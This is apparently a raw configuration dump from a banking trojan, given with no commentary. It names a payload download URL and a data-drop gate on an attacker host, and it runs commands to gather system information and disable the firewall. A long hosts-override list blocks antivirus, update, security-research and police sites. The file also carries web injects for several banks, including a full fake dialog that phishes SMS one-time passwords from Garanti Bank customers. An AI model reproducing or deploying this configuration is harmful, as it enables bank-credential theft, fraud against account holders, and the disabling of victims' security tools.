```
Version: 1.3.5.1

url_loader (binary download)
  http://pos-license.com/cidd345345d/file.php|file=trafo.exe
end

url_server (dropzone)
  http://pos-license.com/cidd345345d/gate.php
end

<Msg ID=20018 UNKNOWN FileLen=43 RealLen=43 Type='Uncompressed' TypeCode=10000000>
  http://pos-license.com/cidd345345d/file.php
end

entry "AdvancedConfigs" (backup config files)
  http://microcaroinos3.com/cidd345345d/file.php|file=config.bin

end

CmdList
  hostname
  tasklist
  ipconfig /all
  netsh firewall set opmode disable

end

url_wfrules
  #*wellsfargo.com/*
  @*payment.com/*
  !http://*.com/*.jpg

end

<Msg ID=20020 UNKNOWN FileLen=17 RealLen=17 Type='Uncompressed' TypeCode=10000000>
  *facebook.com/*

end

entry "HOST_DNS_OVERRIDES"
  *antivirus*=209.85.229.104
  bitdefender.com=209.85.229.104
  download.bitdefender.com=209.85.229.104
  update.bitdefender.com=209.85.229.104
  wfbs51-p.activeupdate.trendmicro.com=209.85.229.104
  wfbs60-p.activeupdate.trendmicro.com=209.85.229.104
  iau.trendmicro.com=209.85.229.104
  licenseupdate.trendmicro.com=209.85.229.104
  csm-as.activeupdate.trendmicro.com=209.85.229.104
  wfbs6-icss-p.activeupdate.trendmicro.com=209.85.229.104
  oc.activeupdate.trendmicro.com=209.85.229.104
  update.avg.com=209.85.229.104
  update.grisoft.com=209.85.229.104
  backup.avg.cz=209.85.229.104
  backup.grisoft.cz=209.85.229.104
  files2.grisoft.cz=209.85.229.104
  files2.avg.cz=209.85.229.104
  download.grisoft.cz=209.85.229.104
  download.avg.cz=209.85.229.104
  akamai.grisoft.cz=209.85.229.104
  akamai.grisoft.cz.edgesuite.net=209.85.229.104
  akamai.avg.cz=209.85.229.104
  akamai.avg.cz.edgesuite.net=209.85.229.104
```

```
akamai.grisoft.com=209.85.229.104
akamai.avg.com=209.85.229.104
akamai.grisoft.com.edgesuite.net=209.85.229.104
akamai.avg.com.edgesuite.net=209.85.229.104
data-cdn.mbamupdates.com=209.85.229.104
su.pctools.com=209.85.229.104
pctools.com=209.85.229.104
download.lavasoft.com=209.85.229.104
secure.lavasoft.com=209.85.229.104
lavasoft.com=209.85.229.104
bitdefender.nl=209.85.229.104
virustotal.com=209.85.229.104
trendmicro.nl=209.85.229.104
trendmicro.com.au=209.85.229.104
www.trendmicro.com.au=209.85.229.104
securesoft.com.au=209.85.229.104
avira.com.au=209.85.229.104
gratissoftwaresite.nl=209.85.229.104
nod32.com.au=209.85.229.104
pandasecurity.com.au=209.85.229.104
lavasoft.com.au=209.85.229.104
avg.com.au=209.85.229.104
symantec-norton.com=209.85.229.104
housecall.trendmicro.com=209.85.229.104
forums.malwarebytes.org=209.85.229.104
malwarebytes.org=209.85.229.104
pchelpforum.com=209.85.229.104
pchelpforum.com=209.85.229.104
forums.cnet.com=209.85.229.104
techsupportforum.com=209.85.229.104
gratissoftware.nu=209.85.229.104
majorgeeks.com=209.85.229.104
forums.pcworld.com=209.85.229.104
antivirus.microbe.com.au=209.85.229.104
avast.com.au=209.85.229.104
avg-antivirus.com.au=209.85.229.104
nortonantiviruscenter.com=209.85.229.104
threatmetrix.com=209.85.229.104
www.zonealarm.com=209.85.229.104
firewallguide.com=209.85.229.104
auditmypc.com=209.85.229.104
comodo.com=209.85.229.104
free-firewall.org=209.85.229.104
schoonepc.nl=209.85.229.104
iopus.com=209.85.229.104
tucows.com=209.85.229.104
avg-antivirus-plus-firewall.en.softonic.com=209.85.229.104
superantispyware.com.au=209.85.229.104
superantispyware.com=209.85.229.104
harveynorman.com.au=209.85.229.104
ca-store.com.au=209.85.229.104
netfreighters.com.au=209.85.229.104
securetec.com.au=209.85.229.104
anti-spyware.com.au=209.85.229.104
virusscan.jotti.org=209.85.229.104
virscan.org=209.85.229.104
antivir.ru=209.85.229.104
analysis.avira.com=209.85.229.104
hijackthis.de=209.85.229.104
uploadmalware.com=209.85.229.104
emsisoft.com=209.85.229.104
kaspersky.co.uk=209.85.229.104
bitdefender.co.uk=209.85.229.104
```

```
eset.co.uk=209.85.229.104
webroot.com=209.85.229.104
gdatasoftware.co.uk=209.85.229.104
pcpro.co.uk=209.85.229.104
webroot.co.uk=209.85.229.104
cyprotect.com=209.85.229.104
cloudantivirus.com=209.85.229.104
drweb-antivir.it=209.85.229.104
escanav.com=209.85.229.104
clamwin.com=209.85.229.104
nod32.nl=209.85.229.104
webroot.nl=209.85.229.104
av.eu=209.85.229.104
vergelijk.nl=209.85.229.104
antivirusvergelijk.nl=209.85.229.104
virussen.upc.nl=209.85.229.104
antivirus.startpagina.nl=209.85.229.104
avastav.nl=209.85.229.104
defenx.nl=209.85.229.104
gdata.nl=209.85.229.104
bitdefender.nl=209.85.229.104
removevirus.org=209.85.229.104
windows.microsoft.com=209.85.229.104
answers.microsoft.com=209.85.229.104
myantispyware.com=209.85.229.104
krebsonsecurity.com=209.85.229.104
antivirus.about.com=209.85.229.104
cleanuninstall.com=209.85.229.104
staples.com=209.85.229.104
esetindia.com=209.85.229.104
mcafee.free-trials.net=209.85.229.104
antivir-2012.com=209.85.229.104
panda-antivirus.en.softonic.com=209.85.229.104
softonic.com=209.85.229.104
freeantivirushelp.com=209.85.229.104
scanwith.com=209.85.229.104
bestantivirusreviewed.com=209.85.229.104
virus-help.net=209.85.229.104
cleanallspyware.com=209.85.229.104
kingsoftsecurity.com=209.85.229.104
threatfire.com=209.85.229.104
freeavg.com=209.85.229.104
clamav.net=209.85.229.104
pcthreat.com=209.85.229.104
2-viruses.com=209.85.229.104
trojan-killer.ne=209.85.229.104
virusinfo.info=209.85.229.104
www.virusinfo.info=209.85.229.104
projecthoneypot.org=209.85.229.104
www.projecthoneypot.org=209.85.229.104
novirus.ru=209.85.229.104
www.novirus.ru=209.85.229.104
anti-malware.com=209.85.229.104
www.anti-malware.com=209.85.229.104
offensivecomputing.net=209.85.229.104
www.offensivecomputing.n=209.85.229.104et
zeustracker.abuse.ch=209.85.229.104
www.zeustracker.abuse.ch=209.85.229.104
www.malekal.com=209.85.229.104
www3.malekal.com=209.85.229.104
forum.malekal.com=209.85.229.104
www.threatexpert.com=209.85.229.104
threatexpert.com=209.85.229.104
```

```
www.microsoft.com=209.85.229.104
update.microsoft.com=209.85.229.104
www.virustotal.com=209.85.229.104
virusscan.jotti.org=209.85.229.104
www.av-comparatives.org=209.85.229.104
av-comparatives.org=209.85.229.104
av-test.org=209.85.229.104
www.av-test.org=209.85.229.104
www.scanwith.com=209.85.229.104
trendmicro.com.au=209.85.229.104
kasperskyanz.com.au=209.85.229.104
bitdefender.com.au=209.85.229.104
eset.com.au=209.85.229.104
vet.com.au=209.85.229.104
sm.mcafee.com=209.85.229.104
home.mcafee.com=209.85.229.104
toolbar.avg.com=209.85.229.104
stats.avg.com=209.85.229.104
www.virusbtn.com=209.85.229.104
adwarereport.com=209.85.229.104
avg.com.au=209.85.229.104
www.adwarereport.com=209.85.229.104
malwarebytes.org=209.85.229.104
www.malwarebytes.org=209.85.229.104
dw.com.com=209.85.229.104
nss-shasta-rrs.symantec.com=209.85.229.104
spywarewarrior.com=209.85.229.104
www.spywarewarrior.com=209.85.229.104
avsoft.ru=209.85.229.104
www.avsoft.ru=209.85.229.104
onecare.live.com=209.85.229.104
anubis.iseclab.org=209.85.229.104
wepawet.iseclab.org=209.85.229.104
iseclab.org=209.85.229.104
www.iseclab.org=209.85.229.104
www.freespaceinternetsec=209.85.229.104urity.com
freespaceinternetsecurit=209.85.229.104y.com
sunbelt-software.com=209.85.229.104
www.sunbelt-software.com=209.85.229.104
www.prevx.com=209.85.229.104
prevx.com=209.85.229.104
analysis.seclab.tuwien.a=209.85.229.104c.at
www.joebox.org=209.85.229.104
joebox.org=209.85.229.104
gmer.net=209.85.229.104
www.gmer.net=209.85.229.104
antirootkit.com=209.85.229.104
www.antirootkit.com=209.85.229.104
sectools.org=209.85.229.104
www.sandboxie.com=209.85.229.104
sandboxie.com=209.85.229.104
nepenthes.mwcollect.org=209.85.229.104
mwcollect.org=209.85.229.104
www.amtso.org=209.85.229.104
amtso.org=209.85.229.104
www.nsslabs.com=209.85.229.104
nsslabs.com=209.85.229.104
www.icsalabs.com=209.85.229.104
icsalabs.com=209.85.229.104
www.checkvir.com=209.85.229.104
checkvir.com=209.85.229.104
www.check-mark.com=209.85.229.104
check-mark.com=209.85.229.104
```

```
www.protectstar-testlab.=209.85.229.104org
protectstar-testlab.org=209.85.229.104
www.anti-malware-test.co=209.85.229.104m
anti-malware-test.com=209.85.229.104
av-test.de=209.85.229.104
www.av-test.de=209.85.229.104
www.wildlist.org=209.85.229.104
wildlist.org=209.85.229.104
www.aavar.org=209.85.229.104
aavar.org=209.85.229.104
centralops.net=209.85.229.104
www.staysafeonline.info=209.85.229.104
staysafeonline.info=209.85.229.104
www.rokop-security.de=209.85.229.104
rokop-security.de=209.85.229.104
www.wilderssecurity.com=209.85.229.104
wilderssecurity.com=209.85.229.104
www.superantispyware.com=209.85.229.104
superantispyware.com=209.85.229.104
update.microsoft.com=209.85.229.104
www.kaspersky.com=209.85.229.104
www.kaspersky.ru=209.85.229.104
kaspersky.ru=209.85.229.104
www.avp.ru=209.85.229.104
avp.ru=209.85.229.104
www.viruslist.com=209.85.229.104
viruslist.com=209.85.229.104
www.viruslist.ru=209.85.229.104
www.kaspersky-antivirus.ru=209.85.229.104
kaspersky-antivirus.ru=209.85.229.104
downloads1.kaspersky-labs.com=209.85.229.104
downloads2.kaspersky-labs.com=209.85.229.104
downloads3.kaspersky-labs.com=209.85.229.104
downloads4.kaspersky-labs.com=209.85.229.104
downloads5.kaspersky-labs.com=209.85.229.104
downloads-us1.kaspersky-labs.com=209.85.229.104
downloads-us2.kaspersky-labs.com=209.85.229.104
downloads-us3.kaspersky-labs.com=209.85.229.104
downloads-eu1.kaspersky-labs.com=209.85.229.104
downloads-eu2.kaspersky-labs.com=209.85.229.104
kavdumps.kaspersky.com=209.85.229.104
www.kasperskyclub.com=209.85.229.104
forum.kasperskyclub.com=209.85.229.104
forum.kasperskyclub.ru=209.85.229.104
kasperskyclub.ru=209.85.229.104
kasperskyclub.com=209.85.229.104
ftp.kasperskylab.ru=209.85.229.104
ftp.kaspersky.ru=209.85.229.104
ftp.kaspersky-labs.com=209.85.229.104
data.kaspersky.ru=209.85.229.104
z-oleg.com=209.85.229.104
www.z-oleg.com=209.85.229.104
drweb.com=209.85.229.104
www.drweb.com=209.85.229.104
freedrweb.com=209.85.229.104
www.freedrweb.com=209.85.229.104
drweb.com.ua=209.85.229.104
www.drweb.com.ua=209.85.229.104
drweb.ru=209.85.229.104
www.drweb.ru=209.85.229.104
av-desk.com=209.85.229.104
www.av-desk.com=209.85.229.104
drweb.net=209.85.229.104
```

```
www.drweb.net=209.85.229.104
ftp.drweb.com=209.85.229.104
dr-web.ru=209.85.229.104
www.dr-web.ru=209.85.229.104
download.drweb.com=209.85.229.104
support.drweb.com=209.85.229.104
updates.sald.com=209.85.229.104
sald.com=209.85.229.104
www.sald.com=209.85.229.104
drweb.imshop.de=209.85.229.104
safeweb.norton.com=209.85.229.104
www.safeweb.norton.com=209.85.229.104
www.symantec.com=209.85.229.104
shop.symantecstore.com=209.85.229.104
liveupdate.symantec.com=209.85.229.104
liveupdate.symantecliveu=209.85.229.104pdate.com
service1.symantec.com=209.85.229.104
www.service1.symantec.co=209.85.229.104m
security.symantec.com=209.85.229.104
liveupdate.symantec.d4p.=209.85.229.104net
securityresponse.symante=209.85.229.104c.com
sygate.com=209.85.229.104
www.sygate.com=209.85.229.104
esetnod32.ru=209.85.229.104
www.esetnod32.ru=209.85.229.104
eset.com=209.85.229.104
www.eset.com=209.85.229.104
eset.com.ua=209.85.229.104
www.eset.com.ua=209.85.229.104
nod32.com.ua=209.85.229.104
www.nod32.com.ua=209.85.229.104
download.eset.com=209.85.229.104
update.eset.com=209.85.229.104
eset.eu=209.85.229.104
www.eset.eu=209.85.229.104
nod32.it=209.85.229.104
www.nod32.it=209.85.229.104
nod32.su=209.85.229.104
www.nod32.su=209.85.229.104
nod-32.ru=209.85.229.104
www.nod-32.ru=209.85.229.104
allnod.com=209.85.229.104
www.allnod.com=209.85.229.104
allnod.info=209.85.229.104
www.allnod.info=209.85.229.104
virusall.ru=209.85.229.104
www.virusall.ru=209.85.229.104
nod32eset.org=209.85.229.104
www.nod32eset.org=209.85.229.104
eset.sk=209.85.229.104
www.eset.sk=209.85.229.104
nod32.nl=209.85.229.104
www.nod32.nl=209.85.229.104
dl1.antivir.de=209.85.229.104
dl2.antivir.de=209.85.229.104
dl3.antivir.de=209.85.229.104
dl4.antivir.de=209.85.229.104
free-av.com=209.85.229.104
www.free-av.com=209.85.229.104
free-av.de=209.85.229.104
www.free-av.de=209.85.229.104
avira.com=209.85.229.104
www.avira.com=209.85.229.104
```

```
avira.de=209.85.229.104
www.avira.de=209.85.229.104
www1.avira.com=209.85.229.104
dlpro.antivir.com=209.85.229.104
forum.avira.com=209.85.229.104
www.forum.avira.com=209.85.229.104
avirus.ru=209.85.229.104
www.avirus.ru=209.85.229.104
avira-antivir.ru=209.85.229.104
www.avira-antivir.ru=209.85.229.104
avirus.com.ua=209.85.229.104
www.avirus.com.ua=209.85.229.104
mcafee.com=209.85.229.104
www.mcafee.com=209.85.229.104
home.mcafee.com=209.85.229.104
us.mcafee.com=209.85.229.104
ru.mcafee.com=209.85.229.104
de.mcafee.com=209.85.229.104
ca.mcafee.com=209.85.229.104
fr.mcafee.com=209.85.229.104
au.mcafee.com=209.85.229.104
es.mcafee.com=209.85.229.104
it.mcafee.com=209.85.229.104
uk.mcafee.com=209.85.229.104
mx.mcafee.com=209.85.229.104
ru.mcafee.com=209.85.229.104
mcafee-online.com=209.85.229.104
www.mcafee-online.com=209.85.229.104
mcafeesecurity.com=209.85.229.104
www.mcafeesecurity.com=209.85.229.104
mcafeesecure.com=209.85.229.104
www.mcafeesecure.com=209.85.229.104
avertlabs.com=209.85.229.104
www.avertlabs.com=209.85.229.104
download.nai.com=209.85.229.104
nai.com=209.85.229.104
www.nai.com=209.85.229.104
secure.nai.com=209.85.229.104
eu.shopmcafee.com=209.85.229.104
shop.mcafee.com=209.85.229.104
siblog.mcafee.com=209.85.229.104
mcafeestore.com=209.85.229.104
www.mcafeestore.com=209.85.229.104
service.mcafee.com=209.85.229.104
siteadvisor.com=209.85.229.104
www.siteadvisor.com=209.85.229.104
scanalert.com=209.85.229.104
www.drsolomon.com=209.85.229.104
mcafee-at-home.com=209.85.229.104
wwww.mcafee-at-home.com=209.85.229.104
networkassociates.com=209.85.229.104
www.networkassociates.com=209.85.229.104
avast.ru=209.85.229.104
www.avast.ru=209.85.229.104
avast.com=209.85.229.104
www.avast.com=209.85.229.104
onlinescan.avast.com=209.85.229.104
download1.avast.com=209.85.229.104
download2.avast.com=209.85.229.104
download3.avast.com=209.85.229.104
download4.avast.com=209.85.229.104
download5.avast.com=209.85.229.104
download6.avast.com=209.85.229.104
```

```
download7.avast.com=209.85.229.104
free.avg.com=209.85.229.104
au.norton.com=209.85.229.104
trustdefender.com=209.85.229.104
avg.com=209.85.229.104
www.avg.com=209.85.229.104
sshop.avg.com=209.85.229.104
pctools.com=209.85.229.104
www.grisoft.cz=209.85.229.104
www.grisoft.com=209.85.229.104
free.grisoft.com=209.85.229.104
bitdefender.com=209.85.229.104
www.bitdefender.com=209.85.229.104
msecn.net=209.85.229.104
bitdefender.de=209.85.229.104
www.bitdefender.de=209.85.229.104
bitdefender.com.ua=209.85.229.104
www.bitdefender.com.ua=209.85.229.104
bitdefender.ru=209.85.229.104
www.bitdefender.ru=209.85.229.104
myaccount.bitdefender.co,=209.85.229.104
download.bitdefender.com=209.85.229.104
ftp.bitdefender.com=209.85.229.104
forum.bitdefender.com=209.85.229.104
upgrade.bitdefender.com=209.85.229.104
agnitum.ru=209.85.229.104
www.agnitum.ru=209.85.229.104
agnitum.com=209.85.229.104
www.agnitum.com=209.85.229.104
agnitum.de=209.85.229.104
www.agnitum.de=209.85.229.104
outpostfirewall.com=209.85.229.104
www.outpostfirewall.com=209.85.229.104
dl1.agnitum.com=209.85.229.104
dl2.agnitum.com=209.85.229.104
antivirus.comodo.com=209.85.229.104
comodo.com=209.85.229.104
www.comodo.com=209.85.229.104
forums.comodo.com=209.85.229.104
comodogroup.com=209.85.229.104
www.comodogroup.com=209.85.229.104
personalfirewall.comodo.com=209.85.229.104
www.personalfirewall.com=209.85.229.104
hackerguardian.com=209.85.229.104
www.hackerguardian.com=209.85.229.104
www.nsclean.com=209.85.229.104
nsclean.com=209.85.229.104
clamav.net=209.85.229.104
www.clamav.net=209.85.229.104
db.local.clamav.net=209.85.229.104
clamsupport.sourcefire.com=209.85.229.104
lurker.clamav.net=209.85.229.104
wiki.clamav.net=209.85.229.104
w32.clamav.net=209.85.229.104
lists.clamav.net=209.85.229.104
clamwin.com=209.85.229.104
www.clamwin.com=209.85.229.104
ru.clamwin.com=209.85.229.104
gietl.com=209.85.229.104
www.gietl.com=209.85.229.104
clamav.dyndns.org=209.85.229.104
f-secure.com=209.85.229.104
www.f-secure.com=209.85.229.104
```

```
support.f-secure.com=209.85.229.104
f-secure.ru=209.85.229.104
www.f-secure.ru=209.85.229.104
ftp.f-secure.com=209.85.229.104
europe.f-secure.com=209.85.229.104
www.europe.f-secure.com=209.85.229.104
f-secure.de=209.85.229.104
www.f-secure.de=209.85.229.104
support.f-secure.de=209.85.229.104
ftp.f-secure.de=209.85.229.104
f-secure.co.uk=209.85.229.104
www.f-secure.co.uk=209.85.229.104
retail.sp.f-secure.com=209.85.229.104
retail01.sp.f-secure.com=209.85.229.104
retail02.sp.f-secure.com=209.85.229.104
ftp.europe.f-secure.com=209.85.229.104
norman.com=209.85.229.104
www.norman.com=209.85.229.104
download.norman.no=209.85.229.104
sandbox.norman.no=209.85.229.104
norman.no=209.85.229.104
www.norman.no=209.85.229.104
niuone.norman.no=209.85.229.104
pandasecurity.com=209.85.229.104
www.pandasecurity.com=209.85.229.104
viruslab.ru=209.85.229.104
www.viruslab.ru=209.85.229.104
pandasoftware.com=209.85.229.104
www.pandasoftware.com=209.85.229.104
acs.pandasoftware.com=209.85.229.104
www.pandasoftware.es=209.85.229.104
anti-virus.by=209.85.229.104
www.anti-virus.by=209.85.229.104
virusblokada.ru=209.85.229.104
www.virusblokada.ru=209.85.229.104
vba32.de=209.85.229.104
www.vba32.de=209.85.229.104
ftp.nai.com=209.85.229.104
secuser.com=209.85.229.104
www.secuser.com=209.85.229.104
tds.diamondcs.com.au=209.85.229.104
windowsupdate.microsoft.com=209.85.229.104
lavasoftusa.com=209.85.229.104
www.lavasoftusa.com=209.85.229.104
lavasoftusa.de=209.85.229.104
www.lavasoftusa.de=209.85.229.104
diamondcs.com.au=209.85.229.104
shop.ca.com=209.85.229.104
downloads.my-etrust.com=209.85.229.104
v4.windowsupdate.microsoft.com=209.85.229.104
v5.windowsupdate.microsoft.com=209.85.229.104
noadware.net=209.85.229.104
www.noadware.net=209.85.229.104
zonelabs.com=209.85.229.104
www.zonelabs.com=209.85.229.104
moosoft.com=209.85.229.104
www.moosoft.com=209.85.229.104
secuser.model-fx.com=209.85.229.104
pccreg.antivirus.com=209.85.229.104
k-otik.com=209.85.229.104
vupen.com=209.85.229.104
www.vupen.com=209.85.229.104
housecall.trendmicro.com=209.85.229.104
```

```
trendmicro.com=209.85.229.104
www.trendmicro.com=209.85.229.104
us.trendmicro.com=209.85.229.104
uk.trendmicro.com=209.85.229.104
de.trendmicro.com=209.85.229.104
fr.trendmicro.com=209.85.229.104
es.trendmicro.com=209.85.229.104
au.trendmicro.com=209.85.229.104
it.trendmicro.com=209.85.229.104
br.trendmicro.com=209.85.229.104
antivirus.cai.com=209.85.229.104
sophos.com=209.85.229.104
www.sophos.com=209.85.229.104
securitoo.com=209.85.229.104
nordnet.com=209.85.229.104
www.nordnet.com=209.85.229.104
avgfrance.com=209.85.229.104
www.avgfrance.com=209.85.229.104
antivirus-online.de=209.85.229.104
www.antivirus-online.de=209.85.229.104
ftp.esafe.com=209.85.229.104
ftp.microworldsystems.com=209.85.229.104
ftp.ca.co=209.85.229.104
files.trendmicro-europe.com=209.85.229.104
inline-software.de=209.85.229.104
ravantivirus.com=209.85.229.104
www.ravantivirus.com=209.85.229.104
f-prot.com=209.85.229.104
www.f-prot.com=209.85.229.104
files.f-prot.com=209.85.229.104
secure.f-prot.com=209.85.229.104
vsantivirus.com=209.85.229.104
www.vsantivirus.com=209.85.229.104
openantivirus.org=209.85.229.104
www.openantivirus.org=209.85.229.104
www3.ca.com=209.85.229.104
dialognauka.ru=209.85.229.104
www.dialognauka.ru=209.85.229.104
anti-virus-software-review.com=209.85.229.104
www.anti-virus-software-review.com=209.85.229.104
www.vet.com.au=209.85.229.104
antiviraldp.com=209.85.229.104
www.antiviraldp.com=209.85.229.104
www.proantivirus.com=209.85.229.104
pestpatrol.com=209.85.229.104
www.pestpatrol.com=209.85.229.104
simplysup.com=209.85.229.104
www.simplysup.com=209.85.229.104
misec.net=209.85.229.104
www.misec.net=209.85.229.104
www1.my-etrust.com=209.85.229.104
authentium.com=209.85.229.104
www.authentium.com=209.85.229.104
finjan.com=209.85.229.104
www.finjan.com=209.85.229.104
www.ikarus-software.at=209.85.229.104
www.ika-rus.com=209.85.229.104
ika-rus.com=209.85.229.104
tinysoftware.com=209.85.229.104
www.tinysoftware.com=209.85.229.104
visualizesoftware.com=209.85.229.104
www.visualizesoftware.com=209.85.229.104
kerio.com=209.85.229.104
```

```
  www.kerio.com=209.85.229.104
  www.kerio.eu=209.85.229.104
  www.zonelabs.com=209.85.229.104
  zonelog.co.uk=209.85.229.104
  www.zonelog.co.uk=209.85.229.104
  webroot.com=209.85.229.104
  www.webroot.com=209.85.229.104
  www.lavasoft.nu=209.85.229.104
  spywareguide.com=209.85.229.104
  www.spywareguide.com=209.85.229.104
  spyblocker-software.com=209.85.229.104
  www.spyblocker-software.com=209.85.229.104
  www.spamhaus.org=209.85.229.104
  spamcop.net=209.85.229.104
  www.spamcop.net=209.85.229.104
  bobbear.co.uk=209.85.229.104
  www.bobbear.co.uk=209.85.229.104
  domaintools.com=209.85.229.104
  www.domaintools.com=209.85.229.104
  centralops.net=209.85.229.104
  www.centralops.net=209.85.229.104
  www.robtex.com=209.85.229.104
  dnsstuff.com=209.85.229.104
  www.dnsstuff.com=209.85.229.104
  ripe.net=209.85.229.104
  www.ripe.net=209.85.229.104
  www.met.police.uk=209.85.229.104
  nbi.gov.ph=209.85.229.104
  www.nbi.gov.ph=209.85.229.104
  www.police.gov.hk=209.85.229.104
  treasury.gov=209.85.229.104
  www.treasury.gov=209.85.229.104
  cybercrime.gov=209.85.229.104
  www.cybercrime.gov=209.85.229.104
  www.cybercrime.ch=209.85.229.104
  enisa.europa.eu=209.85.229.104
  www.enisa.europa.eu=209.85.229.104
  www.interpol.int=209.85.229.104
  www.fsa.gov.uk=209.85.229.104
  www.companies-house.gov.uk=209.85.229.104
  fraudaid.com=209.85.229.104
  www.fraudaid.com=209.85.229.104
  scambusters.org=209.85.229.104
  www.scambusters.org=209.85.229.104
  spamtrackers.eu=209.85.229.104
  www.spamtrackers.eu=209.85.229.104

end

<Msg ID=20015 UNKNOWN FileLen=18 RealLen=18 Type='Uncompressed' TypeCode=10000000>
  bank.exe;java.exe

end

<Msg ID=20016 UNKNOWN FileLen=4 RealLen=4 Type='Uncompressed' TypeCode=10000000>
  \x03
end

<Msg ID=20101 UNKNOWN FileLen=4 RealLen=4 Type='Uncompressed' TypeCode=10000000>
  \x01
end

<Msg ID=20102 UNKNOWN FileLen=4 RealLen=4 Type='Uncompressed' TypeCode=10000000>
```

```
  X\x02
end

================================================================

entry "WebInjects"

  Mask 0x3064
  Target URL                :
"https://isube.garanti.com.tr/isube/login/login/smspinverify*
  data_before
    </head>
  data_after

  data_inject
    <link rel="stylesheet" type="text/css"
href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css"
/>
  <style type="text/css">
  #inject { display: none; }
  .ui-dialog { font-size: 12px; }
  .ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
  .ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
  </style>
  <script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
  <script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

  data_before
    </body>
  data_after

  data_inject
    <script type="text/javascript">

  var popfrequency="216000"

  function get_cookie(Name) {
  var search = Name + "="
  var returnvalue = "";
  if (document.cookie.length > 0) {
  offset = document.cookie.indexOf(search)
  if (offset != -1) { // if cookie exists
  offset += search.length
  // set index of beginning of value
  end = document.cookie.indexOf(";", offset);
  // set index of end of cookie value
  if (end == -1)
  end = document.cookie.length;
  returnvalue=unescape(document.cookie.substring(offset, end))
  }
  }
  return returnvalue;
  }

  function resetcookie(){
  var expireDate = new Date()
  expireDate.setHours(expireDate.getHours()-10)
  document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
  }

  function loadornot(){
```

```
  if (get_cookie('tcpopunder')==''){
  loadpopunder()
  }
  }

  function loadpopunder(){

  function Init()
  {
    jQuery('#inject').dialog({ width: 570, buttons: { "nternet ubesi Giri":
function() {
            if (jQuery("#inject_sms").val().length < 6)
            {
              alert('Ltfen doru ifre giriniz.');
              jQuery("#inject_sms").focus();

            }
            else
            {
      jQuery("#sms").val(jQuery("#inject_sms").val());
      jQuery("form[name='injectform']").submit();
      var expireDate = new Date()
      expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
      document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" +
expireDate.toGMTString();
      jQuery("#inject").dialog("close");
  }
            }
         }, closeOnEscape: false, modal: true, show: 'slide' });

  }
  jQuery(document).ready(Init);


  }

  if (popfrequency=="always"){
  resetcookie()
  loadpopunder()
  }
  else{
  if (get_cookie('tcpopunder')!=parseInt(popfrequency))
  resetcookie()
  loadornot()
  }
  </script>
  <div id="inject">
  <body>
  <hr style="height: 11px; background-color: #33CC33"/>
  </body>
    <form>
    <left>
    <table><tbody>
      <tr><td align="left" style="background: #FFFFFF;"><img
src="http://t3.gstatic.com/images?q=tbn:ANd9GcQYAfXEqe3GHcUCYEDkeGRXCg_m4_uzuLKoiTHJL
ELRnt8LAWxEkA" width="120" height="48" style="margin-top: 0px; margin-left: 20px;
margin-bottom: 0px;"/>
                    <img
src="https://isube.assets.garanti.com.tr/assets/img/txt/tr/h4-sms-ile-sifre-
dogrulama.png" width="240" height="30" style="margin-top: 0px; margin-left: 150px;
margin-bottom: 8px;"/></td></tr>

    </tbody></table></left>
```

```
  <body>
     <hr/>
  </body>

    <center>
    <p>
      <div style="font-size: 14px">
        <div align="center" style="color:#009933"><b>Tek kullanmlk ifreniz cep
telefonu numaranza SMS ile gnderilmitir.</b>
      </div></p>
    <div>
      <table>
        <tbody>
          <tr>
            <td align="left" style="font-size: 13px; background: #FFFFFF;">Cep
Telefonu
  <td align="left" style="background: #F0F0F0 ; font-size: 12px;"><b> Seimimi
hatrla</b></td>
            </tr>
          </tbody>
  </table>

  </br>
  </br>
  <body>
     <hr/>
  </body>
    <p>
      <div style="font-size: 14px">
        <div align="center" style="color:#009933"><b>Ltfen SMS'teki ifreyi aadaki
alana giriniz.</b>
      </div>
    </p>

  <table>
        <tr>
      <td style="font-size: 21px">*</td>
            <td align="left" style="font-size: 13px; background:
#FFFFFF;">ifre</td><td </td><td </td>
            <td align="left" style="background: #FFFFFF; font-size: 15px;"><input
type="text" name="inject_sms" id="inject_sms" size="12" maxlength="6"/></td>
            </tr>

        <tr>
          <td height="25"></tbody></td>
          </tr>
        </table>
    </div>
    </form>
      <div style="font-size: 11px">
        <div align="center" >Eer 10 dakika iinde PIN kodunuzu almazsanz cep
telefonunuzun mesaj gelen kutusu dolu olmadndan ve cep telefonunuzun kapsama alan
iinde olduundan emin olun.
      </div>
    </center>


  </div>
  <form name="injectform" action="" method="post">
  <input type="hidden" name="sms" id="Cit" />
  </form>
```

```
  Mask 0x3048
  Target URL                :
"https://online.bbt.com/bbtobs/bbtolbweb/main/oview/home*
  data_before

href="/bbtobs/bbtolbext/accntHist/acctDetails?action=manage&ON_ACCTHIST_PAGE=N&Accoun
tIndexValue=1"
  data_after
    </BODY>
  data_inject



  Mask 0x3048
  Target URL                : "https://www.53.com/servlet/efsonline/index.html*
  data_before
    id="acctTitle_head"
  data_after
    </body>
  data_inject



  Mask 0x3048
  Target URL                :
"https://secure2.lloydstsb.co.uk/personal/a/account_overview_personal*
  data_before
    class="myAccounts clearfix"
  data_after
    </body>
  data_inject



  Mask 0x3048
  Target URL                : "https://*.capitalone.*accounts/summary*
  data_before
    class="sectionHeader"
  data_after
    </body>
  data_inject



  Mask 0x3048
  Target URL                :
"https://online.pcmastercard.ca/PCB_Consumer/TransHistory.do*
  data_before
    summary="Account Summary"
  data_after
    </body>
  data_inject



  Mask 0x3064
  Target URL                :
"https://online.americanexpress.com/myca/acctmgmt/us/myaccountsummary.do*
  data_before
    </head>
  data_after
```

```
  data_inject
    <link rel="stylesheet" type="text/css"
href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css"
/>
  <style type="text/css">
  #inject { display: none; }
  .ui-dialog { font-size: 10px; }
  .ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
  .ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
  </style>
  <script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
  <script type="text/javascript"
